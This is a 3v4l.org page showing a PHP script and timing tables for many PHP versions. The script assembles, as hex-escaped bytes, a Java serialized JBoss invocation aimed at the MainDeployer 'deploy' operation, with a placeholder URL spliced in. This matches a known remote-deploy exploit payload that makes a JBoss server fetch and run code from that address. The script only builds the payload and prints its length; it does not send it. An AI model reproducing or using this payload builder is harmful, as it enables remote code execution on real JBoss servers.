3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://lololololo.lo.lo/l/o.lol"; $url_len=pack("n",strlen($url)); printf("url_len:%s\n\n",strlen(pack("n",strlen($url)))); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf("frag_iii_v:%s\n\nfrag_iii_n:%s\n\ndata:%s\n\n",strlen(pack("v", strlen($frag_iii)+8)), strlen(pack("n",strlen($frag_iii))), strlen($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00618.36
8.3.50.0170.00521.08
8.3.40.0000.01518.67
8.3.30.0120.00620.17
8.3.20.0000.00820.00
8.3.10.0050.00322.04
8.3.00.0040.00422.46
8.2.180.0080.00816.50
8.2.170.0070.00722.96
8.2.160.0100.00322.32
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0080.00026.16
8.2.120.0040.00420.80
8.2.110.0070.00321.18
8.2.100.0090.00317.72
8.2.90.0040.00419.08
8.2.80.0040.00419.28
8.2.70.0030.00617.63
8.2.60.0030.00817.93
8.2.50.0000.00818.07
8.2.40.0000.00818.15
8.2.30.0000.00719.56
8.2.20.0050.00317.68
8.2.10.0000.00817.68
8.2.00.0060.00617.61
8.1.280.0110.00625.92
8.1.270.0070.00023.99
8.1.260.0040.00426.35
8.1.250.0050.00228.09
8.1.240.0000.01022.45
8.1.230.0090.00320.91
8.1.220.0000.00918.77
8.1.210.0080.00018.77
8.1.200.0050.00517.22
8.1.190.0050.00317.54
8.1.180.0030.00518.10
8.1.170.0000.00818.48
8.1.160.0050.00218.79
8.1.150.0000.00818.57
8.1.140.0050.00217.42
8.1.130.0030.00317.76
8.1.120.0000.00717.39
8.1.110.0000.00717.50
8.1.100.0070.00017.34
8.1.90.0000.00717.49
8.1.80.0080.00017.52
8.1.70.0070.00017.50
8.1.60.0030.00617.50
8.1.50.0030.00617.43
8.1.40.0060.00617.58
8.1.30.0040.00417.49
8.1.20.0000.00817.52
8.1.10.0060.00317.59
8.1.00.0040.00417.40
8.0.300.0000.00819.91
8.0.290.0070.00017.05
8.0.280.0000.00718.35
8.0.270.0030.00317.16
8.0.260.0000.00816.76
8.0.250.0070.00016.94
8.0.240.0000.00816.86
8.0.230.0000.00716.99
8.0.220.0040.00416.92
8.0.210.0040.00416.98
8.0.200.0000.00816.85
8.0.190.0000.00816.87
8.0.180.0050.00316.99
8.0.170.0000.00816.84
8.0.160.0030.00417.02
8.0.150.0000.00716.95
8.0.140.0070.00416.90
8.0.130.0030.00313.41
8.0.120.0000.00816.95
8.0.110.0000.00916.86
8.0.100.0000.00816.86
8.0.90.0040.00416.92
8.0.80.0030.01316.91
8.0.70.0050.00216.80
8.0.60.0040.00416.72
8.0.50.0040.00416.80
8.0.30.0090.00917.08
8.0.20.0090.00917.40
8.0.10.0040.00416.81
8.0.00.0070.01516.72
7.4.330.0050.00016.84
7.4.320.0060.00016.63
7.4.300.0000.00616.51
7.4.290.0070.00016.55
7.4.280.0040.00416.54
7.4.270.0000.00816.57
7.4.260.0090.00013.30
7.4.250.0040.00416.57
7.4.240.0000.00716.63
7.4.230.0000.00716.51
7.4.220.0030.01616.51
7.4.210.0060.00816.49
7.4.200.0070.00016.51
7.4.190.0000.00716.44
7.4.160.0070.01016.38
7.4.150.0080.01117.40
7.4.140.0120.00617.86
7.4.130.0140.00516.51
7.4.120.0090.01016.54
7.4.110.0100.00716.39
7.4.100.0060.01216.45
7.4.90.0120.00916.46
7.4.80.0110.00719.39
7.4.70.0120.00616.51
7.4.60.0070.01416.30
7.4.50.0050.00516.50
7.4.40.0060.00922.77
7.4.30.0080.00816.52
7.4.10.0070.01214.97
7.4.00.0050.01114.79
7.3.330.0000.00613.11
7.3.320.0000.00813.26
7.3.310.0070.00016.35
7.3.300.0040.00416.24
7.3.290.0040.01116.46
7.3.280.0090.01016.34
7.3.270.0140.00317.40
7.3.260.0090.00916.29
7.3.250.0110.01016.41
7.3.240.0090.00916.44
7.3.230.0170.00416.39
7.3.210.0120.00916.46
7.3.200.0150.00819.39
7.3.190.0110.01116.69
7.3.180.0120.00616.37
7.3.170.0000.01516.30
7.3.160.0070.01016.27
7.3.130.0110.00614.92
7.3.120.0050.01214.85
7.3.110.0090.00815.00
7.3.100.0080.00714.82
7.3.90.0030.01014.89
7.3.80.0040.01014.78
7.3.70.0070.00614.89
7.3.60.0040.00814.72
7.3.50.0050.00814.80
7.3.40.0060.00814.79
7.3.30.0030.01114.69
7.3.20.0050.00816.55
7.3.10.0060.00616.67
7.3.00.0060.00916.63
7.2.330.0130.00316.69
7.2.320.0140.01116.77
7.2.310.0070.01016.63
7.2.300.0100.00716.68
7.2.290.0100.00716.75
7.2.260.0050.01415.24
7.2.250.0090.00715.19
7.2.240.0110.00515.02
7.2.230.0060.01014.82
7.2.220.0060.01014.99
7.2.210.0040.01115.00
7.2.200.0120.00315.03
7.2.190.0080.00415.18
7.2.180.0060.00615.15
7.2.170.0050.00915.17
7.2.160.0070.01015.19
7.2.150.0060.00616.86
7.2.140.0080.00516.84
7.2.130.0050.01016.92
7.2.120.0060.00816.97
7.2.110.0070.00816.75
7.2.100.0070.00617.00
7.2.90.0020.01216.82
7.2.80.0020.01017.02
7.2.70.0060.00717.00
7.2.60.0050.01016.82
7.2.50.0020.01417.01
7.2.40.0020.00917.01
7.2.30.0090.00617.02
7.2.20.0060.00817.00
7.2.10.0020.01016.81
7.2.00.0060.00617.69
7.1.330.0110.00415.83
7.1.320.0040.01115.72
7.1.310.0070.00915.87
7.1.300.0060.00515.57
7.1.290.0030.01115.67
7.1.280.0030.01015.71
7.1.270.0080.00615.69
7.1.260.0060.00815.53
7.1.250.0050.00615.65
7.1.240.0040.01315.58
7.1.230.0050.00915.74
7.1.220.0000.01115.69
7.1.210.0110.00415.78
7.1.200.0040.00715.67
7.1.190.0020.01115.76
7.1.180.0050.01215.56
7.1.170.0030.00915.85
7.1.160.0040.00915.72
7.1.150.0020.01215.69
7.1.140.0050.00915.91
7.1.130.0040.00915.75
7.1.120.0030.01015.72
7.1.110.0060.00315.83
7.1.100.0040.00816.50
7.1.90.0070.00515.82
7.1.80.0030.00815.71
7.1.70.0050.00816.26
7.1.60.0070.00916.81
7.1.50.0050.00916.23
7.1.40.0050.00915.55
7.1.30.0050.01015.72
7.1.20.0100.00515.72
7.1.10.0040.00615.58
7.1.00.0030.01818.04
7.0.330.0030.00715.39
7.0.320.0030.01115.30
7.0.310.0030.00915.49
7.0.300.0030.01115.51
7.0.290.0080.00515.38
7.0.280.0080.00315.31
7.0.270.0080.00515.49
7.0.260.0060.00515.30
7.0.250.0070.00715.51
7.0.240.0050.00515.48
7.0.230.0060.00515.54
7.0.220.0020.00915.45
7.0.210.0030.00715.29
7.0.200.0010.00915.81
7.0.190.0050.00615.46
7.0.180.0070.00715.40
7.0.170.0090.00715.30
7.0.160.0010.01115.52
7.0.150.0040.00515.30
7.0.140.0020.03017.50
7.0.130.0050.01115.45
7.0.120.0050.01115.48
7.0.110.0050.00615.42
7.0.100.0010.02116.84
7.0.90.0070.01916.93
7.0.80.0020.02116.92
7.0.70.0100.01916.99
7.0.60.0110.01716.94
7.0.50.0100.01517.20
7.0.40.0050.01815.62
7.0.30.0050.01915.64
7.0.20.0090.02415.57
7.0.10.0070.03115.68
7.0.00.0040.02615.67
5.6.400.0040.00914.26
5.6.390.0050.00514.41
5.6.380.0090.00614.29
5.6.370.0050.01114.31
5.6.360.0070.00914.13
5.6.350.0040.00914.13
5.6.340.0010.01014.28
5.6.330.0040.01014.14
5.6.320.0040.00914.49
5.6.310.0020.01014.39
5.6.300.0050.01014.50
5.6.290.0050.00714.00
5.6.280.0060.03116.53
5.6.270.0100.00514.13
5.6.260.0020.00814.26
5.6.250.0060.01816.33
5.6.240.0070.01916.46
5.6.230.0040.02116.36
5.6.220.0010.02916.36
5.6.210.0060.01816.34
5.6.200.0080.01616.39
5.6.190.0120.01316.43
5.6.180.0090.01816.48
5.6.170.0060.01916.38
5.6.160.0070.03316.42
5.6.150.0080.03116.40
5.6.140.0030.03216.56
5.6.130.0040.03516.45
5.6.120.0070.02816.60
5.6.110.0080.03016.40
5.6.100.0050.03016.40
5.6.90.0070.03316.62
5.6.80.0020.03516.25
5.6.70.0080.02916.25
5.6.60.0060.03216.21
5.6.50.0050.02916.34
5.6.40.0110.03016.33
5.6.30.0080.03316.33
5.6.20.0050.03116.29
5.6.10.0090.03016.23
5.6.00.0040.03316.20
5.5.380.0050.02116.30
5.5.370.0050.01916.31
5.5.360.0080.01416.27
5.5.350.0060.02016.04
5.5.340.0070.01716.46
5.5.330.0060.01616.42
5.5.320.0060.01816.47
5.5.310.0070.01816.46
5.5.300.0050.03316.43
5.5.290.0090.01916.33
5.5.280.0130.01716.48
5.5.270.0070.02616.49
5.5.260.0030.02216.48
5.5.250.0050.01816.22
5.5.240.0080.02916.06
5.5.230.0100.02916.04
5.5.220.0070.02216.25
5.5.210.0040.01916.11
5.5.200.0010.03116.07
5.5.190.0070.03216.18
5.5.180.0070.02516.07
5.5.170.0100.00314.06
5.5.160.0070.02116.20
5.5.150.0060.02316.10
5.5.140.0100.02816.10
5.5.130.0130.02016.08
5.5.120.0080.02616.19
5.5.110.0080.03016.22
5.5.100.0100.02816.12
5.5.90.0070.01816.21
5.5.80.0040.03416.12
5.5.70.0050.03216.07
5.5.60.0080.02516.11
5.5.50.0110.02716.14
5.5.40.0060.01816.11
5.5.30.0090.02616.10
5.5.20.0070.03016.13
5.5.10.0120.01515.95
5.5.00.0070.03616.15
5.4.450.0000.03314.11
5.4.440.0070.02914.18
5.4.430.0050.02514.24
5.4.420.0060.02214.24
5.4.410.0060.02614.07
5.4.400.0080.03014.06
5.4.390.0080.02714.12
5.4.380.0060.03014.03
5.4.370.0050.02114.14
5.4.360.0020.02214.03
5.4.350.0050.01814.11
5.4.340.0070.02714.08
5.4.330.0090.00311.50
5.4.320.0060.02614.11
5.4.310.0090.02514.11
5.4.300.0040.03113.97
5.4.290.0060.02814.15
5.4.280.0080.02714.06
5.4.270.0100.02314.03
5.4.260.0020.02414.13
5.4.250.0070.02913.98
5.4.240.0040.03114.03
5.4.230.0070.02814.16
5.4.220.0060.03013.98
5.4.210.0060.03113.99
5.4.200.0010.03114.04
5.4.190.0040.03114.00
5.4.180.0080.02714.17
5.4.170.0040.03414.11
5.4.160.0060.02114.12
5.4.150.0050.03014.03
5.4.140.0040.03013.26
5.4.130.0060.02413.17
5.4.120.0030.02713.14
5.4.110.0080.01813.15
5.4.100.0030.02813.24
5.4.90.0080.02513.15
5.4.80.0090.02713.24
5.4.70.0040.02813.19
5.4.60.0090.01913.10
5.4.50.0040.02913.22
5.4.40.0050.01813.29
5.4.30.0040.02513.20
5.4.20.0030.01813.23
5.4.10.0050.01613.16
5.4.00.0050.02312.93
5.3.290.0100.06314.62
5.3.280.0100.06014.47
5.3.270.0070.07314.61
5.3.260.0070.07014.61
5.3.250.0030.04014.62
5.3.240.0030.07314.48
5.3.230.0030.08714.48
5.3.220.0030.08014.45
5.3.210.0070.08014.46
5.3.200.0100.07014.58
5.3.190.0070.07714.55
5.3.180.0070.06314.44
5.3.170.0030.07714.52
5.3.160.0070.06714.57
5.3.150.0130.05314.49
5.3.140.0030.07714.53
5.3.130.0070.07314.57
5.3.120.0030.07014.51
5.3.110.0130.04714.56
5.3.100.0000.08014.04
5.3.90.0030.08014.02
5.3.80.0030.04314.02
5.3.70.0070.06313.81
5.3.60.0030.07313.88
5.3.50.0030.04313.82
5.3.40.0030.04313.96
5.3.30.0070.07313.92
5.3.20.0100.06713.65
5.3.10.0030.07313.43
5.3.00.0030.07713.65
5.2.170.0100.06011.00
5.2.160.0100.05311.11
5.2.150.0030.06711.21
5.2.140.0030.06011.11
5.2.130.0070.03311.16
5.2.120.0130.05311.19
5.2.110.0070.03011.05
5.2.100.0000.07011.16
5.2.90.0070.05010.97
5.2.80.0030.06310.98
5.2.70.0130.06011.10
5.2.60.0070.03011.06
5.2.50.0070.06310.90
5.2.40.0030.06310.86
5.2.30.0030.06011.02
5.2.20.0100.05310.90
5.2.10.0000.05710.93
5.2.00.0070.03010.75
5.1.60.0030.0409.89
5.1.50.0070.0509.85
5.1.40.0070.03710.06
5.1.30.0000.05710.48
5.1.20.0070.05710.47
5.1.10.0070.03010.08
5.1.00.0030.05310.12
5.0.50.0070.0338.62
5.0.40.0000.0478.41
5.0.30.0030.0578.24
5.0.20.0030.0278.20
5.0.10.0030.0308.24
5.0.00.0070.0578.24
4.4.90.0000.0377.40
4.4.80.0030.0337.40
4.4.70.0030.0377.40
4.4.60.0000.0377.40
4.4.50.0030.0337.40
4.4.40.0100.0407.40
4.4.30.0000.0307.40
4.4.20.0070.0307.40
4.4.10.0030.0377.40
4.4.00.0000.0577.40
4.3.110.0000.0407.40
4.3.100.0100.0207.40
4.3.90.0030.0307.40
4.3.80.0000.0537.40
4.3.70.0030.0207.40
4.3.60.0000.0207.40
4.3.50.0000.0207.40
4.3.40.0000.0577.40
4.3.30.0000.0277.40
4.3.20.0030.0207.40
4.3.10.0070.0277.40
4.3.00.0000.0337.40

preferences:
28.29 ms | 401 KiB | 5 Q